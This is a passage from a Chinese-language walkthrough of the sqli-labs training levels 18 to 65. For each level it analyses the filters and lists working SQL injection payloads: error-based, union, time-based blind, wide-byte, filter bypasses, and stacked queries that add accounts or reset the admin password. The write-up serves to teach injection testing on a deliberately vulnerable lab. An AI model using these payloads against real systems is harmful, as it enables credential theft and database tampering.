INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',0,EXTRACTVALUE(1,CONCAT(0x5c,VERSION(),0x5c)))#', '192.168.0.2', 'Dumb') 拼接的完整SQL语句1',0,0) # 1',0,(extractvalue(1,concat(0x5c,version(),0x5c))))# 1' ,2, (extractvalue(1,concat(0x5c,(select group_concat(password," ",username) from users),0x5c))))# 爆账户密码。1',2,updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))# 爆账户密码。
源码有对异常日志的输出,进行报错注入,抛出异常信息到页面,使用extractvalue()函数,成功返显数据版本,真正SQL数据库因异常,不会添加数据成功,只是显示错误信息
爆账户密码
19.sqli-labs第十九关(添加报错注入)
十九关当我们输入正确的账户密码我们的referer字段内容会显示在页面上。该插入的sql语句有两个参数一个是referfer,还有ip地址,在REFERER字段进行注入,与第十八关类似,就是注入字段变了
源码分析
源码中可以HTTP_REFERER和REMOTE_ADDR这个两参数未有做校验
前端页面分析,都会打印sql异常的日志信息
REFERER字段-添加报错注入总POC
1',0) # 1',updatexml (1,concat(0x5c,(select group_concat(username, " ",password) from users),0x5c),1))# 爆出用户和密码
回显用户和密码
20.sqli-labs第二十关(查询报错注入)
第二十关当我们输入正确页面时候cookie字段显示在页面上,进行抓包。进行注入
源码分析
登录账号和密码,登录为此页面,进入的else条件
源码可以看到走的sql语法获取$cookee的字段
抓取报文查看cookie,有个key字段为uname的,吐槽下,if语句里面的代码是无用的,误人的,上面的截图中if已隐藏。都是走的else的逻辑语法
进行抓包,对Cookie进行注入
Cookie: uname='and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#下面是拼接完成的sql,及时查询不到,加and添加通过报错,也是有数据,条件是要有异常日志输出
SELECT * FROM users WHERE username=''AND UPDATEXML (1,CONCAT(0x5c,(SELECT GROUP_CONCAT(username,PASSWORD) FROM users),0x5c),1)#' LIMIT 0,1
数据库查询
21.sqli-labs第二十一关(查询报错BASE64转码注入)
第二十一关和二十关很像,唯一不一样就是cookie哪里不是账户名而是一串字符。有点经验就知道是base64编码,所以我们可以将单引号进行编码jw==可以发现报错并且还得有括号。
源码分析
后端base64进行了转码
抓取的报文,Cookie: uname=RHVtYg%3D%3D,查看源码,这里存在注入点,将poc进行转码在注入
报错BASE64转码注入POC
')and updatexml (1,concat(0x5c,(select group_concat(username," ",password) from users),0x5c),1)#JylhbmQgdXBkYXRleG1sICgxLGNvbmNhdCgweDVjLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCIgIixwYXNzd29yZCkgZnJvbSB1c2VycyksMHg1YyksMSkj= 转码后的poc"SELECT * FROM users WHERE username=('')and updatexml (1,concat(0x5c,(select group_concat(username," ",password) from users),0x5c),1)#') LIMIT 0,1" 拼接完的sql语句
获取的用户名和密码
22.sqli-labs第二十二关(查询报错BASE64转码注入)
第二十二关和第二十一关一样,只不过cookie是没有括号的base64编码
源码分析
报错BASE64转码注入POC
1" and updatexml (1,concat(0x5c,(select group_concat(username," ",password) from users),0x5c),1)# 字符串的自动添加第一个", 在1"进行字符串字段闭合。MSIgIGFuZCB1cGRhdGV4bWwgKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUsIiAiLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSwweDVjKSwxKSM= 转码后的poc"SELECT * FROM users WHERE username="1" and updatexml (1,concat(0x5c,(select group_concat(username," ",password) from users),0x5c),1)#" LIMIT 0,1" 拼接完的sql语句
BP请求,记得&submit=Submit去掉,代码中是判断这个没有声明,才走此逻辑。
23.sqli-labs第二十三关(注释失效联合注入)
第二十三关重新回到get请求,会发现输入单引号报错,但是注释符不管用。猜测注释符被过滤,看来源码果然被注释了,所以我们可以用单引号闭合,发现成功。之后可以使用联合注入。不过在判断列数时候不能使用order by 去判断需要用?id=-1’ union select 1,2,3,4 or ‘1’='1通过不停加数字判断最后根据页面显示是三列,且显示位是2号。
源码分析
源码中将#和–都被替换成了空字符串,/
是定界符,用于标记正则表达式的开始和结束。请求方法为get,参数id
注释无效联合注入总poc
?id=1' or '1'='1 这样根据代码中'+id+'等于组合sql为'1' or '1'='1'?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1 ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1?id=-1' union select 1,(select group_concat(password," ",username) from users),3 or '1'='1
尝试请求,可以看到注释被替换了空
SELECT * FROM users WHERE id='1' UNION SELECT 1,DATABASE(),VERSION() ' LIMIT 0,1
拼接成功的sql
获取用户名和密码
24.sqli-labs第二十四关(更新进行二次注入)
本关是二次注入,感觉要看源码后在修改密码存在SQL的注入,修改相关管理用户的密码,在注册页面未对用户过滤情况注册成功admin’#,在修改页面会连接sql拼接sql --》admin’# and 旧密码会注释掉,修改密码成功
第二十四关有一个登录页面和注册页面还要一个修改密码页面,该关卡使用得是二次注入,因为登录页面和注册页面对于密码和账户名都使用mysql_real_escape_string函数对于特殊字符进行转义。这里我们利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的。查看源码是session获取的。
页面场景假设注册一个admin’#账户和密码,在修改密码的页面修改admin密码
源码分析
login登录页面,用户和密码都做了校验处理
修改密码页面username的字段登录时已做校验,整个源码分析
new_user.php注册用户页面分析,username用户未有对输入源做校验,在已知管理员账户admin,可以admin’#进行拼接SQL
注册新用户
已成功添加数据库
修改页面的二次注入
bp抓包,admin的用户修改成功,页面提示修改执行成功
"UPDATE users SET PASSWORD='123' where username='admin'#' and password='123' " 拼接SQL
数据库已成功更改
25.sqli-labs第二十五关(查询双写绕过联合注入)
第二十五关根据提示是将or和and这两个替换成空,但是只替换一次。大小写绕过没有用。我们可以采用双写绕过。本次关卡使用联合注入就可以了,information里面涉及or可以写成infoorrmation。
源码分析
请求id的参数中做了替换,/or/
,表示匹配连续的字母 “or”;位于正则表达式末尾的 i
表示不区分大小写
POC
?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+"SELECT * FROM users WHERE id='-2' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- ' LIMIT 0,1" 拼接完的sql
26.sqli-labs第二十六关(查询空格or-and绕过报错查询)
第二十六关将逻辑运算符,注释符以及空格给过滤了,我们需要使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换。空格绕过网上找了些资料,对于绕过空格限制有大把的方式对于空格,有较多的方法:%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格,有些在windows和kali里面可能用不了,我的windows用了%a0空格可以绕过。使用()绕过。报错注入空格使用比较少所以我们可以使用报错注入。
源码分析
id的参数中匹配了更多的关键词进行防御,preg_replace(‘/\s/’, “”, $id); 使用\s替换所有空白字符(包括空格、制表符、换行等)
poc
SELECT * FROM users WHERE id='1'||0||'0' LIMIT 0,1 组合完成的sql是这样的,中间0用updatexml函数替换掉,这样组合解决了中间使用空格被替换为空的问题SELECT * FROM users WHERE id='1'%a0union%a0select%a01,2,3||'0' LIMIT 0,1?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0 爆表?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0 爆字段?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0 爆密码账户
爆字段
爆密码账户
拼接成功的完整sql
"SELECT * FROM users WHERE id='1'||(updatexml(1,concat(0x7e,(select(group_concat(password,username))from(users))),1))||'0' LIMIT 0,1"
使用%a0转码空格绕过,这种转码的其他复杂sql未成功
?id=0'%a0union%a0select%a01,2,3||'0?id=0'%a0union%a0select%a01,database(),version()
26-a.sqli-labs第二十六-a关(查询空格注释双写绕过盲注时间注入)
真实环境盲注应该更贴近,该关卡和二十六关差不多,多了一个括号。不能使用报错注入,该页面不显示报错信息。需要使用联合注入和盲注时间注入。可以将第九关的POC进行优化
源码分析
对id参数的校验
前端页面,错误是没有异常输出,使用盲注时间注入
poc,可以参考第九关poc,?id=1’)||if(…)||('0进行拼接,将空格替换为()
注意语法对or做了替换information_schema进行双写绕过infoorrmation_schema
?id=1')||if(1=1,sleep(5),1)||('0 测试if语法,拼接sql无异常可以运行"SELECT * FROM users WHERE id=('1')||if(1=1,sleep(5),1)||('0') LIMIT 0,1" 拼接完成的sql,可以执行?id=0')||IF(LENGTH((DATABASE()))>=8,SLEEP(5),1)||('0 替换空格判断数据库名长度,正确的则睡眠5秒后响应页面SELECT * FROM users WHERE id=('0')||IF(LENGTH((DATABASE()))>=8,SLEEP(5),1)||('0') LIMIT 0,1 源码中有括号综合后sql语句,知道数据库security长度为8个,判断数据库名长度?id=0')||if(ascii(substr((select(database())),1,1))=115,sleep(5),1)||('0 逐一判断数据库字符?id=0')||if(length((select(group_concat(table_name))from(infoorrmation_schema.tables)where (table_schema=database())))>90,sleep(5),1)||('0 判断所有表名长度..........
按照将第九关的poc逻辑进行一一测试
27.sqli-labs第二十七关(查询重写报错注入)
二十七关和二十六差不多不过二十七关没有过滤and和or,过滤了select和union,我们可以大小写绕过以及重写绕过。页面有报错的信息输出,使用报错函数进行输出
源码分析
参数id的检验,对特殊字符以及select等等做了替换
前端页面,是有报错的输出
POC
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0 爆表?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0 爆字段?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,"%0a",username))from(users))),1))or'0 爆密码账户
爆密码账户
"SELECT * FROM users WHERE id='1'or(updatexml(1,concat(0x7e,(select(group_concat(password," ",username))from(users))),1))or'0' LIMIT 0,1" 拼接完SQL
27-a.sqli-labs第二十七-a关(查询重写空格转码盲注和联合注入)
该关是双引号且页面不显示报错信息。过滤规则和二十七关一样。所以我们需要使用盲注和联合注入。
源码分析
参数id的检验,对特殊字符以及select等等做了替换
前端页面,错误页面进行了注释,无异常输出,需要盲注
POC
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1查询users表字段,使用%0a代替空格,绕过空格的替换?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,username)from%0Ausers %0awhere%0A1%0aand"1 这条sql不知什么原因%0Aand"1报错,只能多加where条件"SELECT * FROM users WHERE id="0"union select 1,2,group_concat(password,username)from users where 1 and"1" LIMIT 0,1" 拼接后的sql?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,"%0a,",id,"%0a,",username)from%0Ausers%0Awhere%0Aid=3%0Aand"1
获取用户和密码
28.sqli-labs第二十八关(查询重写空格绕过联合注入)
该关卡过滤了注释符空格还过滤了union和select。\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用重写绕过写。
源码分析
对参数id参数进行替换处理
前端页面,错误页面未有异常的返显
poc
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1"SELECT * FROM users WHERE id=('0')union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'and('1') LIMIT 0,1" 上面拼接完整sql?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1 查询users表列名?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Awhere%0A1%0Aand%0A('1 连接使用and必须有where条件,这是查询用户名和密码
28-a.sqli-labs第二十八-A关
该关卡只过滤union+select。其他没有过滤。使用重写uniunion绕过
?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+
源码分析
前端代码,错误页面未有异常
29.sqli-labs第二十九关(查询双写形参绕过第一个参数校验联合注入)
二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。补充:当成进入login.php页面对id有检验,默认是index.php,未对id校验,一个id参数也是可以,因源码index未有校验。这关的测试应该是双形参,取最后的参数。
源码分析
对参数id进行校验
前端页面,错误页面有信息输出
poc
?id=1&id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表?id=1&id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+ 爆字段?id=1&id=-2' union select 1,group_concat(password,":",username),3 from users--+
爆密码账户
获取用户名和密码
30.sqli-labs第三十关(查询双写形参绕过第一个参数校验联合注入)
三十关和二十九关差不多,将单引号换成双引号,这个当成走了login.php页面对id有检验,默认是index.php,未对id校验
源码分析
对参数id检验是否为数字
前端页面
poc
?id=1&id=-2" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表?id=1&id=-2" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+ 爆字段?id=1&id=-2" union select 1,group_concat(password,username),3 from users--+ 爆密码账户
31.sqli-labs第三十一关(查询双写形参绕过第一个参数校验联合注入)
三十一关和三十关差不多,多了一个括号
源码分析
前端代码
poc
?id=1&id=-2") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表?id=1&id=-2") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+ 爆字段?id=1&id=-2") union select 1,group_concat(password,":",username),3 from users--+ 爆密码账户
爆密码账户
32.sqli-labs第三十二关(查询宽字节联合注入)
第三十二关使用preg_replace函数将 斜杠,单引号和双引号过滤了,如果输入id=1"会变成id=1\",使得引号不起作用,但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。
源码分析
前端页面,失败页面有异常日志输出
POC
%df
用于绕过字符集转义规则。例如,当数据库使用GBK编码时,%df
可能与反斜杠%5c
组合成合法字符,从而绕过安全过滤机制。
- 输入:
%df%27
- 转义后:
%df%5c%27
- GBK解析:
%df%5c
→ 汉字(如“運”或“縗”),%27
→ 单引号 - 在GBK编码下,
%df%5c
会被解析为一个汉字,而单引号%27
被保留下来 \'
中的反斜杠\
(即%5c
)可能与前一个字节(如%df
)组合成一个合法的GBK字符。
?id=-1%df' union select 1,database(),3--+ 单加%df是可以
?id=-1%df%27%20union%20select%201,database(),3%20--+ 这样和url编码组合也是可以,%27是单引号,%20是空格 %23是# ,%2C是逗号,%25是% 的编码;%3A是: 的编码; %2F是/ 的编码。?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ 爆字段(用到单引号的表名转十六进制)?id=-1%df' union select 1,group_concat(password,username),3 from users--+ 爆用户和密码
获取库名,拼接完sql如图
数据库对表十六进制转码进行查询
33.sqli-labs第三十三关(查询宽字节联合注入)
第三十二关和三十三关一模一样,poc也是一样
源码分析
addslashes()
函数的作用是对字符串中的特定字符进行转义,即在以下字符前添加反斜杠(\
):
- 单引号(
'
) - 双引号(
"
) - 反斜杠(
\
)
前端代码,错误页面有异常输出
34.sqli-labs第三十四关(查询宽字节联合注入)未成功
三十四关是post提交,使用addslashes函数对于账户和密码都进行转义,使用宽字节注入就行。
源码分析
poc
1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ 爆字段名1%df' union select 1,group_concat(password,username) from users--+ 爆密码账户
使用宽字节%df,发现并没有消除反斜杠
uname=%df' or 1=1 --+&passwd=1234&submit=Submit
35.sqli-labs第三十五关(查询联合注入十六进制转码)
使用addslashes函数对于输入的内容进行转义,但是id参数没有引号,主要影响在与后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码就行,直接使用联合查询就可以了
源码分析
poc
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ 爆字段,用到单引号的表名转十六进制?id=-1 union select 1,group_concat(password,username),3 from users--+
36.sqli-labs第三十六关(查询宽字节联合注入)
使用mysql_real_escape_string函数对于特殊字符进行转义。id参数是单引号,和前面三十二关一样
mysql_real_escape_string其作用是对字符串中的特殊字符进行转义(PHP 5.5.0 起弃用,PHP 7.0.0 移除),在字符串中添加反斜杠(\
)以转义以下字符:
- 单引号(
'
) - 双引号(
"
) - 反斜杠(
\
) - NULL 字符(
\0
) - 换行符(
\n
) - 回车符(
\r
)
源码分析
POC
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ 爆字段名?id=-1%df' union select 1,2,group_concat(password,username) from users--+ 爆密码账户
37.sqli-labs第三十七关(查询宽字节联合注入)未成功
三十七关是post提交,mysql_real_escape_string函数36关已做补充,使用mysql_real_escape_string函数对于账户和密码都进行转义,使用宽字节注入。和三十四关一样。
源码分析
poc
post请求,使用bp抓起报文,抓报文时改ip地址,127.0.0.1或者localhost的抓不到报文,下面的poc没成功
uname=%df'&passwd=&submit=Submituname=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+&passwd=&submit=Submit 爆字段名uname=1%df' union select 1,group_concat(password,username) from users--+&passwd=&submit=Submit 爆密码账户
登录成功页面,用户和密码会展示到页面
38.sqli-labs第三十八关(查询堆叠注入)
三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,尝试另外一种注入就是堆叠注入,因为存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。PHP单条查询函数是mysqli_query()
源码分析
前端代码,成功和失败页面都信息输出
POC
?id=1';insert into users(id,username,password) values ('55','huangjin','666')--+ #向数据表插入自己的账户密码对插入的数据进行查询
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())b--+ 查询字段?id=-1' union select 1,2,(select group_concat(username,password) from users)b--+ 查询密码账户
执行成功,及拼接的完成sql,注意用户名使用英文,中文会乱码写入数据库
"SELECT * FROM users WHERE id='1';insert into users(id,username,password) values ('55','huangjin','666')-- ' LIMIT 0,1"
已注入数据库添加一条数据
39.sqli-labs第三十九关(查询堆叠注入)
id参数是整数,正常联合注入就行。
源码分析
前端代码,成功页面和失败页面都有信息输出
poc
?id=1;insert into users(id,username,password) values ('55','huangjin','666')--+ #向数据表插入自己的账户密码?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() 查询所有的表名?id=-1 union select 1,group_concat(username,password),3 from users 查询用户密码
40.sqli-labs第四十关(查询堆叠注入或联合注入)
四十关也是堆叠注入的测试,id参数是单引号加括号闭合,id没有任何校验,然后使用堆叠注入或者联合注入就可以
源码分析
前端代码,成功页面有回显,错误页面无任何输出
poc
堆叠注入
?id=1');insert into users(id,username,password) values ('40','huangjin40','40')--+联合注入
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 所以表名?id=-1') union select 1,group_concat(username,password),3 from users --+ 用户密码
堆叠注入,成功注入新增一条数据
"SELECT * FROM users WHERE id=('1');insert into users(id,username,password) values ('40','huangjin40','40')-- ') LIMIT 0,1"
联合注入爆出用户和密码
"SELECT * FROM users WHERE id=('-1') union select 1,group_concat(username,password),3 from users -- ') LIMIT 0,1"
41.sqli-labs第四十一关(查询堆叠注入)
四十一关和三十九关基本一样,id是数字型,只不过这句,id是单个,不用加()。使用堆叠注入或者联合注入。
源码分析
前端页面,只有成功页面有回显
POC
堆叠注入,注入id是唯一的,数据库中有重复id值,是不能insert成功的
?id=1;insert into users(id,username,password) values ('41','huangjin41','41')--+ 堆叠注入,添加一条数据堆叠注入,可以将id去掉,数据库自动为id赋值
?id=1;insert into users(username,password) values ('huangjin411','411')--+联合注入
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 所以表名?id=-1 union select 1,group_concat(username,password),3 from users --+ 用户密码
堆叠注入SQL完整拼接,及页面回显
"SELECT * FROM users WHERE id=1;insert into users(username,password) values ('huangjin411','411')-- LIMIT 0,1"
查询联合注入,回显
42.sqli-labs第四十二关(查询堆叠及报错注入)
四十二关是POST提交,需要bp修改数据包。用户名进行了转义处理,密码没有做处理,数据库没有使用gbk编码不能向上面一样使用宽字节注入,但是存在堆叠注入函数,所以我们可以在密码哪里使用堆叠注入。向数据库里面插入密码账号,查看源码错误有异常信息输出可以结合使用报错注入。修改密码页面源码中都对输入项进行转义,无注入点,只有登录页面输入项存在注入点。
源码分析
login.php页面对用户名进行了转义处理,密码没有做处理
密码输入进行sql拼接,使用mysqli_multi_query可以堆叠注入,成功页面没回显,错误页面有异常信息输出
POC
堆叠注入
login_user=1&login_password=1';insert into users(username,password) values ('yl','123456')--+&mysubmit=Login报错注入
login_user=1&login_password=-1'OR (UPDATEXML (1,CONCAT(0x5c,(SELECT GROUP_CONCAT(username, " ",PASSWORD) FROM users),0x5c),1))#&mysubmit=Login 爆出用户和密码
BP修改请求参数报文,回显是错误页面,但是查询数据库也是成功执行
爆出用户名和密码
login_user=1&login_password=-1'OR (UPDATEXML (1,CONCAT(0x5c,(SELECT GROUP_CONCAT(username, " ",PASSWORD) FROM users),0x5c),1))#&mysubmit=Login 完成拼接sql做分析参考
"SELECT * FROM users WHERE username='1' and password='-1'OR (UPDATEXML (1,CONCAT(0x5c,(SELECT GROUP_CONCAT(username, " ",PASSWORD) FROM users),0x5c),1))#'"
43.sqli-labs第四十三关(查询堆叠及报错注入)
四十三关和四十二关相似,就是密码参数是单引号和括号闭合的。一样是密码未做校验,此处为注入点
源码分析
前端页面,成功页面没有回显,错误页面有回显
POC
堆叠注入:这个成功是没有信息回显的,因没有查到用户,sql语句是正确的执行,查询库是已经成功
login_user=1&login_password=1');insert into users(username,password) values ('yl','123456')--+&mysubmit=Login报错注入:爆出用户和密码
login_user=1&login_password=-1') OR (UPDATEXML (1,CONCAT(0x5c,(SELECT GROUP_CONCAT(username, " ",PASSWORD) FROM users),0x5c),1))#&mysubmit=Login
报错用户和密码,下面是拼接完成的SQL做理解
"SELECT * FROM users WHERE username=('1') and password=('-1') OR (UPDATEXML (1,CONCAT(0x5c,(SELECT GROUP_CONCAT(username, " ",PASSWORD) FROM users),0x5c),1))#')"
44.sqli-labs第四十四关(查询布尔时间盲注)
四十四关和四十二关一样,单引号收尾,区别在没有报错信息输出,需要时间盲注结合页面观察,猜测出数据库名和用户及密码
源码分析
前端源码,成功和错误页面,无任何异常信息输出,需要用时间注入观察页面的响应
POC
login_user=1&login_password=-1' or if(1=1,sleep(3),1)--+#&mysubmit=Login 剩下的按照第9关中的poc思路进行注入login_user=1&login_password=-1' or if(length((select database()))>9,sleep(5),1)--+#&mysubmit=Login 判断数据库名长度.......
BP抓包,如何拼接sql成功send按钮灰色3秒后转为橙色,response页面也有响应,下面是拼接成功sql
"SELECT * FROM users WHERE username='1' and password='-1' or if(1=1,sleep(3),1)-- '"
45.sqli-labs第四十五关(查询布尔时间盲注)
四十五关和四十四关一样使用布尔时间盲注,拼接结束是’) 单引号加括号,剩下思路一样
源码分析
前端页面,无任何回显
poc
login_user=1&login_password=-1') or if(1=1,sleep(3),1)--+#&mysubmit=Login 剩下的按照第9关中的poc思路进行注入 login_user=1&login_password=-1') or if(length((select database()))>9,sleep(5),1)--+#&mysubmit=Login 判断数据库名长度
.....
拼接成功完整SQL,做参考
"SELECT * FROM users WHERE username=('sds') and password=('-1') or if(1=1,sleep(3),1)-- #')"
46.sqli-labs第四十六关(order by报错注入)
使用新的参数sort,通过输入1,2,3表中出现不同数据,该sql语句是order by,有报错显示,所以我们可以使用updatexml进行报错。
源码分析
前端代码,登录和失败页面都有错误信息输出
POC
获取用户和密码
?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))
拼接成功sql
"SELECT * FROM users ORDER BY 1 and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))"
47.sqli-labs第四十七关(order by报错注入)
四十七关和四十六差不多,多了一个单引号闭合,错误页面有异常输出可以使用报错注入
源码分析
前端代码,登录和失败页面都有错误信息输出
POC
获取用户和密码
?sort=1' and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1)) --+
拼接成功sql
"SELECT * FROM users ORDER BY '1' and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1)) -- '"
48.sqli-labs第四十八关(order by布尔时间盲注)
四十八关和四十六一样只不过没有报错显示,只能使用布尔时间盲注,结合第九关POC思路
源码分析
前端代码,错误页面无任何异常信息的输出
POC
如果字符是正确,页面则睡眠3秒后,页面有数据响应,获取用户和密码
?sort=1 and if(ascii(substr((select group_concat(username,password) from users),1,1))>=68,sleep(3),1)组合完成的sql
SELECT * FROM users ORDER BY 1 and if(ascii(substr((select group_concat(username,password) from users),1,1))>=68,sleep(3),1)
下面拆解析SQl语句
(SELECT GROUP_CONCAT(username,PASSWORD) FROM users)
打印为:
Dumb1234,AngelinaAngelina,Dummy1,secure1,stupid1,superman1,batmanbatman,admin123,‘#\123,yl123456,yl123SELECT ASCII(SUBSTR((SELECT GROUP_CONCAT(username,PASSWORD) FROM users),1,1)) 第一个字符D的ASCII字符为68数字
49.sqli-labs第四十九关(order by布尔时间盲注)
四十九关和四十八关一样,错误页面没有报错显示,只是单引号结尾,使用延时注入。
源码分析
前端代码,无异常的输出
POC
字符如果是正确,页面则睡眠3秒后,页面有数据响应,获取用户和密码
?sort=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>=68,sleep(3),1) --+组合完成的sql
"SELECT * FROM users ORDER BY '1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>=68,sleep(3),1) -- '"
猜测字符是正确的页面,会有3秒响应
50.sqli-labs第五十关(order by报错注入)
五十关和四十六关一样,可以使用updatexml进行报错注入,不过这个里面还可以使用堆叠注入,因为使用了mysqli_multi_query函数,支持多条sql语句执行。
源码分析
前端代码,成功和错误页面都有异常输出,可以使用报错注入
POC
?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))
51.sqli-labs第五十一关(order by报错注入)
与50关一样,只是该参数单引号闭合,可以报错注入
源码分析
前端代码,成功和错误页面都有异常输出,可以使用报错注入
POC
?sort=1' and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1)) --+拼接完整sql
"SELECT * FROM users ORDER BY '1' and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1)) -- '"
52.sqli-labs第五十二关(order by 堆叠注入)
该参数是整数型,且没有报错显示,只能堆叠注入或者延时注入。
源码分析
前端代码,或失败页面无异常信息输出
poc
?sort=id; UPDATE users SET PASSWORD = '1' where username='admin';
成功修改admin账户密码
拼接成功的SQL"SELECT * FROM users ORDER BY id; UPDATE users SET PASSWORD = '1' where username='admin';"
53.sqli-labs第五十三关(order by 堆叠注入)
该参数是字符型,单引号闭合,没有报错显示,可以使用堆叠注入和延时注入。
源码分析
前端代码,成功页面输出数据信息,错误页面无任何输出
poc
?sort=1'; UPDATE users SET PASSWORD = '2' WHERE username='admin'; --+
成功修改admin账户密码
拼接成功的SQL
"SELECT * FROM users ORDER BY '1'; UPDATE users SET PASSWORD = '2' WHERE username='admin'; -- '"
54.sqli-labs第五十四关(鸡肋一关)
五十四关页面的英文提示,只有十次输入机会,超过十次所有表名,列名,等等都会随机重置。id参数是单引号闭合,个人感觉这关没有什么技能考点,这关挺鸡肋。
源码分析
mysql_fetch_array($result);这个函数对返回的结果做了处理
前端代码,正确页面显示账户和密码,错误页面无任何异常输出
poc
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表名
注意上面查到的表名,每个人不一样的表名,代码需要更改表名
?id=-1' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='p1n3011lls' --+
?id=-1' union select 1,group_concat(secret_3T5M),3 from p1n3011lls--+ 获取key值
DjnGYATIU7IRzAx2WPiw3RGV
取的key值放到下面输入框点击提交,就完成所有步骤。
55.sqli-labs第五十五关(鸡肋一关)
55关是有14次机会,与54关类型,id参数是加了括号的整数,也是鸡肋,不做分析
源码分析
56.sqli-labs第五十五关(鸡肋一关)
56关与54关类同,鸡肋一关,需要单引号和括号,不做分析
源码分析
57.sqli-labs第五十七关(鸡肋一关)
57关与54关类同,鸡肋一关,需要双引号闭合,不做分析
源码分析
58.sqli-labs第五十八关(鸡肋一关)
五十八关和前面几关一样,name换成了第一列id取值, 错误页面也有异常输出,联合注入和报错注入可以的,只是是从都是数组取得数据,也是鸡肋一关
源码分析
59到65关都很鸡肋
59-65很鸡肋重复之前,不做分析了